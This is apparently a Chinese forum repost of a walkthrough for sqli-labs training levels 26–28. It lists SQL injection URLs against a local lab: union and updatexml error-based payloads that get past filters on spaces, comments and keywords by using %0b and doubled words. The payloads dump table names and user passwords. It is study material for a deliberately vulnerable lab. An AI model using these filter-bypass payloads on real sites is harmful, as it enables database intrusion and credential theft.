sqli-lab靶场学习(八)——Less26-28

打印 上一主题 下一主题

主题 977|帖子 977|积分 2931

媒介

25关已经出现了开端的一些关键字过滤,通过双写可以绕过。背面的关卡,我们会遇到更多关键字过滤,需要各种技巧绕过。

Less26

第26关写了会过滤空格和注释符。有很多的答案,会用%a0替代空格,但据说这是sqli-labs部署在在linux环境下的,而在windows环境下,我实验了半天,只有用%0b可以替代空格。

 经过测试,我们发现为单引号闭合,而且会过滤掉各种空格,同时and和or也会被过滤:
  1. http://localhost/sqli-labs/less-26/?id=1%27oorr%271%27=%271
复制代码

 使用联合注入方式:
  1. #测试回显
  2. http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,2,3'
  3. #回显库名
  4. http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,database(),3'
  5. #爆表名
  6. http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema="security"'
  7. #爆列名
  8. http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name="users"'
  9. #爆用户名密码
  10. http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(username),group_concat(passwoorrd)%0bfrom%0busers%0bwhere%0b'1'='1
复制代码
使用报错注入:
  1. #库名
  2. http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,database()),1)||'1'='1
  3. #表名,因为group_concat因为回显长度问题显示不全,可使用limit逐个列出
  4. http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(table_name)FROM(infoorrmation_schema.tables)where(table_schema="security")limit%0b0,1)),1)||'1'='1
  5. #列名
  6. http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(column_name)FROM(infoorrmation_schema.columns)where(table_name="users")limit%0b0,1)),1)||'1'='1
  7. #用户名密码
  8. http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(username)FROM(users)limit%0b0,1)),1)||'1'='1
  9. http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(passwoorrd)FROM(users)limit%0b0,1)),1)||'1'='1
复制代码

Less26a

less26需要括号闭合。另外这关没有输出报错信息,因此不可使用报错注入。
  1. #测试回显
  2. http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,2,('3
  3. #回显库名
  4. http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,(database()),3%0banandd('
  5. #爆表名
  6. http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema="security"aandnd ('1'='1
  7. #爆列名
  8. http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name="users"aandnd ('1'='1
  9. #爆用户名密码
  10. http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(username),group_concat(passwoorrd)%0bfrom%0busers%0bwhere%0b('1'='1
复制代码

Less27

27关与26关相比,减少了and和or的过滤,增长了select和union的过滤。前年我们已经知道了可以通过双写方式绕过,对于select,直接写成seselectlect就可以了。
  1. #库名
  2. http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,database()),1)||'1'='1
  3. #表名,因为group_concat因为回显长度问题显示不全,可使用limit逐个列出
  4. http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(table_name)FROM(information_schema.tables)where(table_schema="security")limit%0b0,1)),1)||'1'='1
  5. #列名
  6. http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(column_name)FROM(information_schema.columns)where(table_name="users")limit%0b0,1)),1)||'1'='1
  7. #用户名密码
  8. http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(username)FROM(users)limit%0b0,1)),1)||'1'='1
  9. http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(password)FROM(users)limit%0b0,1)),1)||'1'='1
复制代码

Less28

28关写的是会过滤union和select,但现实似乎没有过滤,所以完全按照26a关的模式就好了
  1. #回显库名
  2. http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,(database()),3%0band('
  3. #爆表名
  4. http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema="security"and ('1'='1
  5. #爆列名
  6. http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_name="users"and ('1'='1
  7. #爆用户名密码
  8. http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(username),group_concat(password)%0bfrom%0busers%0bwhere%0b('1'='1
复制代码

小结

这几关都是讲关键字和符号过滤的。在ctf比赛中还有更变态的情况,把几乎全部关键字和空格都过滤了那种!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

曂沅仴駦

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表